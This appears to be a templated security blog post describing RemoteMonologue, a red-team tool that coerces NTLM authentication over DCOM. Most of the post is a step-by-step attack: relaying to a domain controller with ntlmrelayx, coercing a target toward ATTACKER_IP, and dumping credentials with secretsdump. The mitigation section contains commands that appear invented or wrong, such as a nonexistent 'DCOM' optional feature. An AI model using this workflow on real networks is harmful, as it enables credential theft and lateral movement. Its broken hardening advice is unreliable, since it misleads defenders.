GitHub – xforcered/RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions
github.com/xforcered/RemoteMonologue
You Should Know:
RemoteMonologue is a tool that exploits Distributed Component Object Model (DCOM) to coerce NTLM authentication, a technique useful for penetration testers and red teams. Below are key commands, steps, and techniques related to this attack:
1. Understanding DCOM and NTLM Coercion
DCOM allows remote procedure calls (RPC) between Windows machines. Attackers abuse this to force a victim machine to authenticate to a malicious server, leaking NTLM hashes.
2. Prerequisites
- A Windows attacker machine with Impacket installed.
- A compromised low-privilege account.
- Network access to the target machine.
3. Setting Up the Attack
Step 1: Clone RemoteMonologue
git clone https://github.com/xforcered/RemoteMonologue.git cd RemoteMonologue
Step 2: Start an NTLM Relay Listener
Using Impacket’s ntlmrelayx:
python3 ntlmrelayx.py -t ldap://DOMAIN_CONTROLLER -smb2support
Step 3: Trigger DCOM Authentication
Execute RemoteMonologue to coerce authentication:
.\RemoteMonologue.exe -target COMPUTER_NAME -captureip ATTACKER_IP
4. Extracting NTLM Hashes
Once coerced, the victim’s NTLM hash will be relayed to the attacker’s listener. Use secretsdump.py to extract credentials:
python3 secretsdump.py DOMAIN/USER@TARGET_IP -hashes LMHASH:NTHASH
5. Mitigation Techniques
- Disable DCOM:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -Name "EnableDCOM" -Value "N"
- Restrict NTLM Usage:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLM" -Value 1
What Undercode Say
This attack demonstrates how legacy protocols like DCOM and NTLM can be weaponized in modern networks. Defenders must:
– Monitor unexpected DCOM activations.
– Enforce SMB signing to prevent relay attacks.
– Migrate to Kerberos where possible.
Additional hardening commands:
Disable unnecessary DCOM components Disable-WindowsOptionalFeature -Online -FeatureName DCOM Enable SMB signing Set-SmbClientConfiguration -RequireSecuritySignature $true
Prediction
As enterprises delay patching legacy systems, DCOM-based attacks will rise. Expect more tools like RemoteMonologue to automate NTLM coercion.
Expected Output:
A successful attack will capture NTLM hashes, enabling lateral movement or privilege escalation. Defenders must act now to disable obsolete protocols.
References:
Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
